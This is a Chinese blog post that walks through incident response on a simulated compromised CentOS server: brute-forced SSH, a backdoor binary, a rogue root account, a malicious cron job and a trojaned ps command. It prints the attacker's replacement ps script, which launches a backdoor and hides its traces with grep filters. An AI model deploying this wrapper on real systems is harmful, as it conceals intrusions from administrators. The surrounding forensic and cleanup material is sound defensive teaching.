• Linux服务器被入侵后的排查思路(应急响应思路)



    Linux-暴力破解、替换ps命令并留存后门事件复现


    一、事件背景

    服务器疑似被入侵,与恶意IP进行通信(恶意IP用192.168.1.132代替)

    受害服务器: Centos7系统 IP: 192.168.8.158(无WEB服务)


    二、应急响应过程

    排查网络连接

    • 查看服务器的网络连接,发现服务器192.168.8.158一直与恶意IP:192.168.1.132的6666端口连接,并且程序名为:.shell.elf

    • netstat -anpt
      在这里插入图片描述

    • 根据PID号查找程序位置: /root/.shell.elf

    • lsof -p 9560
      在这里插入图片描述

    • 查看 .shell.elf 文件的创建时间为:2022-09-05 18:00:06

    • stat .shell.elf
      在这里插入图片描述

    • 之后将 .shell.elf 文件放在微步上检测发现,是后门文件
      在这里插入图片描述在这里插入图片描述

    • 记得关闭本机电脑的实时防护

    • 微步云沙箱
      在这里插入图片描述


    排查历史命令

    • 利用history查看是否有黑客执行的命令
      在这里插入图片描述

    • 在 root账户下排查是否有黑客执行的命令

    • cd /root

    • cat .bash_history
      在这里插入图片描述


    排查后门账户

    • 查看当前登录系统的用户

    • who

    • 192.168.8.1是我用xshell进行了链接
      在这里插入图片描述在这里插入图片描述

    • 查看特权账户

    • awk -F: '$3==0 {print$1}' /etc/passwd
      在这里插入图片描述

    • 发现有两个特权账户:root、hyf,与客户沟通后确定hyf是黑客创建

    • 再次查看可以远程登录的帐号信息

    • 又有hyf,确定了 hyf 是黑客的后门账户
      在这里插入图片描述

    • 接下来查看用户最近登录情况

    • 发现 hyf 账户在 9月6 日 16:10:36 登录了该服务器(其中IP地址 192.168.1.132 因为是模拟,没有公网地址,所以假设它是恶意IP)
      在这里插入图片描述


    排查crontab后门

    • 查看服务器的定时任务
    • cd /var/spool/cron
    • cat root
    • 发现存在root账户的定时任务,每分钟执行一次 /root/shell.elf文件
      在这里插入图片描述

    排查是否有命令被替换

    • 检查命令文件是否被替换
    • rpm -Vf /usr/bin/*
    • rpm -Vf /usr/sbin/*
    #rpm -Vf /usr/bin/xxx
    #S 关键字代表文件大小发生了变化
    #M 关键字代表文件的权限发生了变化
    #5 关键字代表文件的 md5 值发生了变化
    #T 代表文件时间发生了变化
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 执行命令: rpm -Vf /usr/bin/* 时发现 ps 命令的文件大小、md5 值、时间发生了变化,可能已经被修改
      在这里插入图片描述
    • 查看ps命令内容
    • cd /usr/bin/
    • ll -a ps
    • cat ps
      在这里插入图片描述
    • 查看ps文件内容发现被修改了
    #!/bin/bash
    /.centos_core.elf & /.hide_command/ps -aux | grep -v "shell" | grep -v "centos_core" | grep -v "bash" | grep -v "/.hide_command"
    
    • 1
    • 2

    每次执行ps命令都会执行/.centos_core.elf文件、/.hide_command/ps文件
    grep -v的意思是只打印没有匹配的,而匹配的不打印,相当于隐藏shell、centos_core、bash、/.hide_command" 等异常文件信息

    • 查看/.centos_core.elf文件创建时间为:2022-09-06 14:38:00
      在这里插入图片描述

    • 将 .centos_core.elf 文件放在微步云沙箱检测是后门文件
      在这里插入图片描述

    • 而 /.hide_command/ps 文件为正常的ps文件
      在这里插入图片描述在这里插入图片描述
      总结: 存在 ps 命令后门,将正常的ps命令替换,每执行一次ps命令 /.centos_core.elf 后门文件就会被执行一次


    响应过程回顾

    • 1、找到后门文件 :/root/.shell.elf 、/.centos_core.elf
    • 2、找到后门账户:hyf
    • 3、找到恶意定时任务
    • 4、ps命令被替留ps命令后门

    清除后门文件

    • rm -rf /root/.shell.elf
    • rm -rf /.centos_core.elf

    将ps命令删除再将 .hide_command/ps 恢复

    • rm -rf /usr/bin/ps
    • mv /.hide_command/ps /usr/bin/ps

    另一种方法文件提取还原案例:

    • rpm -qf /bin/ps 查询 ps 命令属于哪个软件包
    • mv /bin/ps /tmp 先把 ps 转移到 tmp 目录下,造成 ps 命令丢失的假象
    • df 查看光盘挂载位置
    • rpm2cpio /run/media/root/CentOS\ 7\ x86_64/Packages/procps-ng-3.3.10-23.el7.x86_64.rpm | cpio -idv ./usr/bin/ps 提取 rpm 包中 ps 命令到当前目录的 /usr/bin/ps 下
    • cp ./usr/bin/ps /bin/ 把 ps 命令复制到 /bin/ 目录 修复文件丢失

    删除后门账户

    • vim /etc/passwdvim编辑passwd文件,按dd删除 hyf 那一行,之后保存并退出

    在这里插入图片描述


    三、事件还原

    查看后门

    • 查看 /root/.shell.elf 文件的创建时间为:2022-09-05 18:00:06
    • stat /root/.shell.elf
      在这里插入图片描述
    • 查看 定时任务 /var/spool/cron/root 文件的创建时间为:2022-09-06 14:48:08
    • stat /var/spool/cron/root
      在这里插入图片描述
    • 查看/.centos_core.elf文件创建时间为:22022-09-06 14:38:00
    • stat /.centos_core.elf
      在这里插入图片描述
    • 查看 ps 命令文件修改时间为:2022-09-06 14:43:31
    • stat /usr/bin/ps
      在这里插入图片描述
      总结: 植入后门的顺序为: .shell.elf 后门、/.centos_core.elf后门、ps命令替换后门、定时任务

    排查安全日志

    • 查看secure日志,发现爆破的时间范围是 9.6 14:31:39——14:33:11
      在这里插入图片描述在这里插入图片描述

    • 查看爆破的次数、攻击IP、破的用户名

    • grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
      在这里插入图片描述

    • 查询被爆破的用户名都有哪些

    • grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
      在这里插入图片描述

    • 爆破用户名字典是什么

    • grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
      在这里插入图片描述

    • 查看用户最近登录情况

    • grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
      -

    发现 root 账户在9月6 日 14:33:09 登录了该服务器,在爆破的时间范围内(14:31:39——14:33:11) hyf 账户在 9月6 日 16:10:36 登录了该服务器(其中IP地址 192.168.1.132因为是模拟,没有公网地址,所以假设它是恶意IP)

    事件总结

    黑客在9月6日14:31:39——14:33:11对服务器进行爆破,且在 14:33:09成功爆破出root账户密码并且进行登录,登录之后在9月6日14:37:22 植入了 .shell.elf 后门(根据成功爆破出root账户的时间可知 9月5日18:00:06 为 .shell.elf后门的创建时间,并非植入时间)、在14:38:00 植入了 /.centos_core.elf 后门、在 14:43:31 植入了ps命令后门、在 14:48:08写了恶意定时任务,恶意IP为192.168.1.132

  • 相关阅读:
    杭电多校-Counting Stickmen-(思维+组合数+容斥)
    老年生活照护实训室:让养老护理变得更简单
    [JavaWeb]—Mybatis入门
    2024最新图纸加密软件Top5排行榜
    java版工程管理系统Spring Cloud+Spring Boot+Mybatis实现工程管理系统源码
    GeoServer + openlayers
    ctf_BUUCTF_web(1)
    《Effective Java》知识点(3)--类和接口
    3201. 找出有效子序列的最大长度 I
    Vue 之 vue3 与 TS 的配合使用整理
  • 原文地址:https://blog.csdn.net/weixin_46065653/article/details/127819840